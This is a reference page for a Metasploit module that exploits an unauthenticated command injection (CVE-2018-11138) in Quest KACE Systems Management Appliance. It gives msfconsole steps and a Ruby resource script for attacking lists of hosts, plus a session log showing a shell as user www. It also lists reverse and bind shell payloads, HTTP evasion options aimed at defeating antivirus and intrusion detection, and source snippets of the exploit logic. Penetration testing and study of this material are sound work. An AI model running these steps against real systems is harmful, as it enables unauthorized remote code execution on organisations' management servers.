Quest KACE Systems Management Command Injection - Metasploit


This page contains detailed information about how to use the exploit/unix/http/quest_kace_systems_management_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Quest KACE Systems Management Command Injection
Module: exploit/unix/http/quest_kace_systems_management_rce
Source code: modules/exploits/unix/http/quest_kace_systems_management_rce.rb
Disclosure date: 2018-05-31
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2018-11138

This module exploits a command injection vulnerability in Quest KACE Systems Management Appliance version 8.0.318 (and possibly prior). The download_agent_installer.php file allows unauthenticated users to execute arbitrary commands as the web server user www. A valid Organization ID is required. The default value is 1. A valid Windows agent version number must also be provided. If file sharing is enabled, the agent versions are available within the \kace.local\client\agent_provisioning\windows_platform Samba share. Additionally, various agent versions are listed on the KACE website. This module has been tested successfully on Quest KACE Systems Management Appliance K1000 version 8.0 (Build 8.0.318).

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Using quest_kace_systems_management_rce against a single host

Normally, you can use exploit/unix/http/quest_kace_systems_management_rce this way:

msf > use exploit/unix/http/quest_kace_systems_management_rce
msf exploit(quest_kace_systems_management_rce) > show targets
    ... a list of targets ...
msf exploit(quest_kace_systems_management_rce) > set TARGET target-id
msf exploit(quest_kace_systems_management_rce) > show options
    ... show and set options ...
msf exploit(quest_kace_systems_management_rce) > exploit

Using quest_kace_systems_management_rce against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your quest_kace_systems_management_rce will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/unix/http/quest_kace_systems_management_rce")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Description


This module exploits a command injection vulnerability in Quest KACE Systems Management Appliance version 8.0.318 (and possibly prior).

The download_agent_installer.php file allows unauthenticated users to execute arbitrary commands as the web server user www.

Vulnerable Application


Quest KACE Systems Management Appliance endpoint systems management solution.

This module has been tested successfully on Quest KACE SMA K1000 version 8.0 (Build 8.0.318).

Verification Steps


  1. Start msfconsole
  2. use exploit/unix/http/quest_kace_systems_management_rce
  3. set ORGANIZATION <ORGANIZATION> (default: 1)
  4. set AGENT_VERSION <AGENT_VERSION> (default: 8.0.152)
  5. run
  6. You should get a session

Options


AGENT_VERSION

A valid Windows agent version must be specified. (default: 8.0.152)

If file sharing is enabled, the agent versions are available within the \\kace.local\client\agent_provisioning\windows_platform Samba share.

Additionally, various agent versions are listed on the KACE website.

ORGANIZATION

Organization ID used within the appliance. (default: 1)

SERIAL

Serial number for the appliance. By default, the module attempts to retrieve the serial from /common/about.php.

Scenarios


  msf5 > use exploit/unix/http/quest_kace_systems_management_rce 
  msf5 exploit(unix/http/quest_kace_systems_management_rce) > set rhost 172.16.123.123
  rhost => 172.16.123.123
  msf5 exploit(unix/http/quest_kace_systems_management_rce) > check
  [*] 172.16.123.123:80 The target appears to be vulnerable.
  msf5 exploit(unix/http/quest_kace_systems_management_rce) > set ORGANIZATION 1
  ORGANIZATION => 1
  msf5 exploit(unix/http/quest_kace_systems_management_rce) > set AGENT_VERSION 8.0.152
  AGENT_VERSION => 8.0.152
  msf5 exploit(unix/http/quest_kace_systems_management_rce) > run

  [*] Started reverse TCP handler on 172.16.123.188:4444 
  [*] Sending payload (505 bytes)
  [+] Payload executed successfully
  [!] Tried to delete /tmp/agentprov/1#;/, unknown result

  492648046
  kYWSsqpLmmERqEpLazwFOTzulPvsvShY
  /kbox/kboxwww/common
  EfiuBIzdwhsSLfEpgHrRjbgjszjCkfhf
  ZGtYicImqwCnmUNGBZTpqDSPXojYXjkd
  jCmxJgLnffuOAlsAFmWygrbOhCWPCNzD
  id
  uid=80(www) gid=80(www) groups=80(www)
  uname -a
  FreeBSD k1000 11.0-RELEASE-p12 FreeBSD 11.0-RELEASE-p12 #0: Wed Aug  9 10:03:39 UTC 2017     [email protected]:/usr/obj/usr/src/sys/GENERIC  amd64
  ^C
  Abort session 1? [y/N]  y

  [*] 172.16.123.123 - Command shell session 1 closed.  Reason: User exit

Go back to menu.

Msfconsole Usage


Here is how the unix/http/quest_kace_systems_management_rce exploit module looks in the msfconsole:

msf6 > use exploit/unix/http/quest_kace_systems_management_rce

msf6 exploit(unix/http/quest_kace_systems_management_rce) > show info

       Name: Quest KACE Systems Management Command Injection
     Module: exploit/unix/http/quest_kace_systems_management_rce
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-05-31

Provided by:
  Leandro Barragan
  Guido Leo
  bcoles <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  Yes

Basic options:
  Name           Current Setting  Required  Description
  ----           ---------------  --------  -----------
  AGENT_VERSION  8.0.152          yes       Windows agent version
  ORGANIZATION   1                yes       Organization ID
  Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT          80               yes       The target port (TCP)
  SERIAL                          no        Serial number
  SSL            false            no        Negotiate SSL/TLS for outgoing connections
  VHOST                           no        HTTP server virtual host

Payload information:
  Space: 1024
  Avoid: 2 characters

Description:
  This module exploits a command injection vulnerability in Quest KACE 
  Systems Management Appliance version 8.0.318 (and possibly prior). 
  The `download_agent_installer.php` file allows unauthenticated users 
  to execute arbitrary commands as the web server user `www`. A valid 
  Organization ID is required. The default value is `1`. A valid 
  Windows agent version number must also be provided. If file sharing 
  is enabled, the agent versions are available within the 
  `\kace.local\client\agent_provisioning\windows_platform` Samba 
  share. Additionally, various agent versions are listed on the KACE 
  website. This module has been tested successfully on Quest KACE 
  Systems Management Appliance K1000 version 8.0 (Build 8.0.318).

References:
  https://nvd.nist.gov/vuln/detail/CVE-2018-11138
  https://support.quest.com/product-notification/noti-00000134
  https://www.coresecurity.com/advisories/quest-kace-system-management-appliance-multiple-vulnerabilities

Module Options


This is a complete list of options available in the unix/http/quest_kace_systems_management_rce exploit:

msf6 exploit(unix/http/quest_kace_systems_management_rce) > show options

Module options (exploit/unix/http/quest_kace_systems_management_rce):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   AGENT_VERSION  8.0.152          yes       Windows agent version
   ORGANIZATION   1                yes       Organization ID
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT          80               yes       The target port (TCP)
   SERIAL                          no        Serial number
   SSL            false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                           no        HTTP server virtual host

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the unix/http/quest_kace_systems_management_rce exploit:

msf6 exploit(unix/http/quest_kace_systems_management_rce) > show advanced

Module advanced options (exploit/unix/http/quest_kace_systems_management_rce):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FileDropperDelay                                                            no        Delay in seconds before attempting cleanup
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                2                                                   no        Additional delay in seconds to wait for a session

Exploit Targets


Here is a list of targets (platforms and systems) which the unix/http/quest_kace_systems_management_rce module can exploit:

msf6 exploit(unix/http/quest_kace_systems_management_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the unix/http/quest_kace_systems_management_rce exploit:

msf6 exploit(unix/http/quest_kace_systems_management_rce) > show payloads

Compatible Payloads
===================

   #  Name                               Disclosure Date  Rank    Check  Description
   -  ----                               ---------------  ----    -----  -----------
   0  payload/cmd/unix/bind_perl                          normal  No     Unix Command Shell, Bind TCP (via Perl)
   1  payload/cmd/unix/bind_perl_ipv6                     normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   2  payload/cmd/unix/generic                            normal  No     Unix Command, Generic Command Execution
   3  payload/cmd/unix/reverse_perl                       normal  No     Unix Command Shell, Reverse TCP (via Perl)
   4  payload/cmd/unix/reverse_perl_ssl                   normal  No     Unix Command Shell, Reverse TCP SSL (via perl)

Evasion Options


Here is the full list of possible evasion options supported by the unix/http/quest_kace_systems_management_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(unix/http/quest_kace_systems_management_rce) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

67:	  end
68:	
69:	  def check
70:	    res = send_request_cgi('uri' => normalize_uri('common', 'download_agent_installer.php'))
71:	    unless res
72:	      vprint_error 'Connection failed'
73:	      return CheckCode::Unknown
74:	    end
75:	
76:	    unless res.code == 302 && res.headers.to_s.include?('X-KACE-Appliance')
77:	      vprint_status 'Remote host is not a Quest KACE appliance'

Remote host is not a Quest KACE appliance


Here is a relevant code snippet related to the "Remote host is not a Quest KACE appliance" error message:

72:	      vprint_error 'Connection failed'
73:	      return CheckCode::Unknown
74:	    end
75:	
76:	    unless res.code == 302 && res.headers.to_s.include?('X-KACE-Appliance')
77:	      vprint_status 'Remote host is not a Quest KACE appliance'
78:	      return CheckCode::Safe
79:	    end
80:	
81:	    unless res.headers['X-KACE-Version'] =~ /\A([0-9]+)\.([0-9]+)\.([0-9]+)\z/
82:	      vprint_error 'Could not determine KACE appliance version'

Could not determine KACE appliance version


Here is a relevant code snippet related to the "Could not determine KACE appliance version" error message:

77:	      vprint_status 'Remote host is not a Quest KACE appliance'
78:	      return CheckCode::Safe
79:	    end
80:	
81:	    unless res.headers['X-KACE-Version'] =~ /\A([0-9]+)\.([0-9]+)\.([0-9]+)\z/
82:	      vprint_error 'Could not determine KACE appliance version'
83:	      return CheckCode::Detected
84:	    end
85:	
86:	    version = Rex::Version.new res.headers['X-KACE-Version'].to_s
87:	    vprint_status "Found KACE appliance version #{version}"

Target is not vulnerable


Here is a relevant code snippet related to the "Target is not vulnerable" error message:

109:	  end
110:	
111:	  def exploit
112:	    check_code = check
113:	    unless [CheckCode::Appears, CheckCode::Detected].include? check_code
114:	      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
115:	    end
116:	
117:	    serial = serial_number
118:	    if serial.to_s.eql? ''
119:	      print_error 'Could not retrieve appliance serial number. Try specifying a SERIAL.'

Could not retrieve appliance serial number. Try specifying a SERIAL.


Here is a relevant code snippet related to the "Could not retrieve appliance serial number. Try specifying a SERIAL." error message:

114:	      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
115:	    end
116:	
117:	    serial = serial_number
118:	    if serial.to_s.eql? ''
119:	      print_error 'Could not retrieve appliance serial number. Try specifying a SERIAL.'
120:	      return
121:	    end
122:	    vprint_status "Using serial number: #{serial}"
123:	
124:	    print_status "Sending payload (#{payload.encoded.length} bytes)"

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

134:	      'uri'      => normalize_uri('common', 'download_agent_installer.php'),
135:	      'vars_get' => vars_get
136:	    }, 10)
137:	
138:	    unless res
139:	      fail_with Failure::Unreachable, 'Connection failed'
140:	    end
141:	
142:	    unless res.headers.to_s.include?('KACE') || res.headers.to_s.include?('KBOX')
143:	      fail_with Failure::UnexpectedReply, 'Unexpected reply'
144:	    end

Unexpected reply


Here is a relevant code snippet related to the "Unexpected reply" error message:

138:	    unless res
139:	      fail_with Failure::Unreachable, 'Connection failed'
140:	    end
141:	
142:	    unless res.headers.to_s.include?('KACE') || res.headers.to_s.include?('KBOX')
143:	      fail_with Failure::UnexpectedReply, 'Unexpected reply'
144:	    end
145:	
146:	    case res.code
147:	    when 200
148:	      print_good 'Payload executed successfully'

The specified AGENT_VERSION is not valid for the specified ORGANIZATION


Here is a relevant code snippet related to the "The specified AGENT_VERSION is not valid for the specified ORGANIZATION" error message:

145:	
146:	    case res.code
147:	    when 200
148:	      print_good 'Payload executed successfully'
149:	    when 404
150:	      fail_with Failure::BadConfig, 'The specified AGENT_VERSION is not valid for the specified ORGANIZATION'
151:	    when 302
152:	      if res.headers['location'].include? 'error.php'
153:	        fail_with Failure::UnexpectedReply, 'Server encountered an error'
154:	      end
155:	      fail_with Failure::BadConfig, 'The specified SERIAL is incorrect'

error.php


Here is a relevant code snippet related to the "error.php" error message:

147:	    when 200
148:	      print_good 'Payload executed successfully'
149:	    when 404
150:	      fail_with Failure::BadConfig, 'The specified AGENT_VERSION is not valid for the specified ORGANIZATION'
151:	    when 302
152:	      if res.headers['location'].include? 'error.php'
153:	        fail_with Failure::UnexpectedReply, 'Server encountered an error'
154:	      end
155:	      fail_with Failure::BadConfig, 'The specified SERIAL is incorrect'
156:	    else
157:	      print_error 'Unexpected reply'

Server encountered an error


Here is a relevant code snippet related to the "Server encountered an error" error message:

148:	      print_good 'Payload executed successfully'
149:	    when 404
150:	      fail_with Failure::BadConfig, 'The specified AGENT_VERSION is not valid for the specified ORGANIZATION'
151:	    when 302
152:	      if res.headers['location'].include? 'error.php'
153:	        fail_with Failure::UnexpectedReply, 'Server encountered an error'
154:	      end
155:	      fail_with Failure::BadConfig, 'The specified SERIAL is incorrect'
156:	    else
157:	      print_error 'Unexpected reply'
158:	    end

The specified SERIAL is incorrect


Here is a relevant code snippet related to the "The specified SERIAL is incorrect" error message:

150:	      fail_with Failure::BadConfig, 'The specified AGENT_VERSION is not valid for the specified ORGANIZATION'
151:	    when 302
152:	      if res.headers['location'].include? 'error.php'
153:	        fail_with Failure::UnexpectedReply, 'Server encountered an error'
154:	      end
155:	      fail_with Failure::BadConfig, 'The specified SERIAL is incorrect'
156:	    else
157:	      print_error 'Unexpected reply'
158:	    end
159:	
160:	    register_dir_for_cleanup "/tmp/agentprov/#{datastore['ORGANIZATION']}#;/"

Unexpected reply


Here is a relevant code snippet related to the "Unexpected reply" error message:

152:	      if res.headers['location'].include? 'error.php'
153:	        fail_with Failure::UnexpectedReply, 'Server encountered an error'
154:	      end
155:	      fail_with Failure::BadConfig, 'The specified SERIAL is incorrect'
156:	    else
157:	      print_error 'Unexpected reply'
158:	    end
159:	
160:	    register_dir_for_cleanup "/tmp/agentprov/#{datastore['ORGANIZATION']}#;/"
161:	  end
162:	end

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References


See Also


Check also the following modules related to this module:

Authors


  • Leandro Barragan
  • Guido Leo
  • bcoles

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

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